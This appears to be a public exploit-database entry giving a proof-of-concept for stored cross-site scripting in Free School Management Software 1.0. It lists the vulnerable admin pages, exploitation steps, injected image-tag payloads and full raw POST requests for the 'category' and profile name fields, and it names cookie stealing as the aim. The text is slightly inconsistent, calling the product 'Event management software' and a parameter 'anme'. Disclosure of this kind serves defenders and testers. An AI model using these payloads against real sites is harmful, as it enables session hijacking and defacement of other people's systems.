55af36c59a
3 changes to exploits/shellcodes OpenCATS 0.9.4 - Remote Code Execution (RCE) Free School Management Software 1.0 - 'multiple' Stored Cross-Site Scripting (XSS) Free School Management Software 1.0 - Remote Code Execution (RCE)
106 lines
No EOL
3.6 KiB
Text
106 lines
No EOL
3.6 KiB
Text
# Exploit Title: Free School Management Software 1.0 - 'multiple' Stored Cross-Site Scripting (XSS)
|
|
# Exploit Author: fuzzyap1
|
|
# Date: 7-12-2021
|
|
# Category: Web application
|
|
# Vendor Homepage: https://www.sourcecodester.com/php/15073/free-school-management-software.html
|
|
# Software Link: https://www.sourcecodester.com/sites/default/files/download/jovahsource/free_and_open_source.zip
|
|
# Version: 1.0
|
|
# Tested on: windows
|
|
# Vulnerable page: http://localhost/admin/enquiry_category
|
|
# Vulnerable Parameters: "category"
|
|
|
|
Technical description:
|
|
A stored XSS vulnerability exists in the Event management software. An
|
|
attacker can leverage this vulnerability in order to run javascript on the
|
|
web server surfers behalf, which can lead to cookie stealing, defacement
|
|
and more.
|
|
|
|
Steps to exploit:
|
|
1) Navigate to http://localhost/admin/enquiry_category
|
|
2) Insert your payload in the "category" parameter
|
|
3) Click "save"
|
|
|
|
Proof of concept (Poc):
|
|
The following payload will allow you to run the javascript -
|
|
"><img src=# onerror=alert(document.cookie)>
|
|
|
|
---
|
|
|
|
POST http://localhost/admin/enquiry_category/update/3 HTTP/1.1
|
|
Host: localhost
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)
|
|
Gecko/20100101 Firefox/89.0
|
|
Accept:
|
|
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: multipart/form-data;
|
|
boundary=---------------------------151631281127875309002088019539
|
|
Content-Length: 490
|
|
Origin: http://localhost
|
|
Connection: close
|
|
Referer: http://localhost/admin/enquiry_category
|
|
Cookie: CMSSESSID2cb149290396=0bd8mo7gisd21t9pl1ioorhl63;
|
|
ci_session=6vl4s7keu1ucpoomv9tj4oe8an7kspa0
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
-----------------------------151631281127875309002088019539
|
|
Content-Disposition: form-data; name="category"
|
|
|
|
This is for ID 3 informa222tion"><img src=# onerror=alert(document.cookie)>
|
|
-----------------------------151631281127875309002088019539
|
|
Content-Disposition: form-data; name="purpose"
|
|
|
|
Payment
|
|
-----------------------------151631281127875309002088019539
|
|
Content-Disposition: form-data; name="whom"
|
|
|
|
Tutorial
|
|
-----------------------------151631281127875309002088019539--
|
|
|
|
---
|
|
|
|
Steps to exploit:
|
|
1) Navigate to http://localhost/admin/manage_profile
|
|
2) Insert your payload in the "anme" parameter
|
|
3) Click "save"
|
|
|
|
Proof of concept (Poc):
|
|
The following payload will allow you to run the javascript -
|
|
"><img src=# onerror=alert('xss')>
|
|
|
|
---
|
|
|
|
POST /admin/manage_profile/update HTTP/1.1
|
|
Host: localhost
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0)
|
|
Gecko/20100101 Firefox/89.0
|
|
Accept:
|
|
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: multipart/form-data;
|
|
boundary=---------------------------13285163425854907563979323722
|
|
Content-Length: 519
|
|
Origin: http://localhost
|
|
Connection: close
|
|
Referer: http://localhost/admin/manage_profile
|
|
Cookie: ci_session=hiibl4e0oidvqier9b8hhfb5c1rl6l16
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
-----------------------------13285163425854907563979323722
|
|
Content-Disposition: form-data; name="name"
|
|
|
|
Administrator"><img src=# onerror=alert(document.cookie)>
|
|
-----------------------------13285163425854907563979323722
|
|
Content-Disposition: form-data; name="email"
|
|
|
|
admin@admin.com
|
|
-----------------------------13285163425854907563979323722
|
|
Content-Disposition: form-data; name="userfile"; filename=""
|
|
Content-Type: application/octet-stream
|
|
|
|
|
|
-----------------------------13285163425854907563979323722--
|
|
|
|
--- |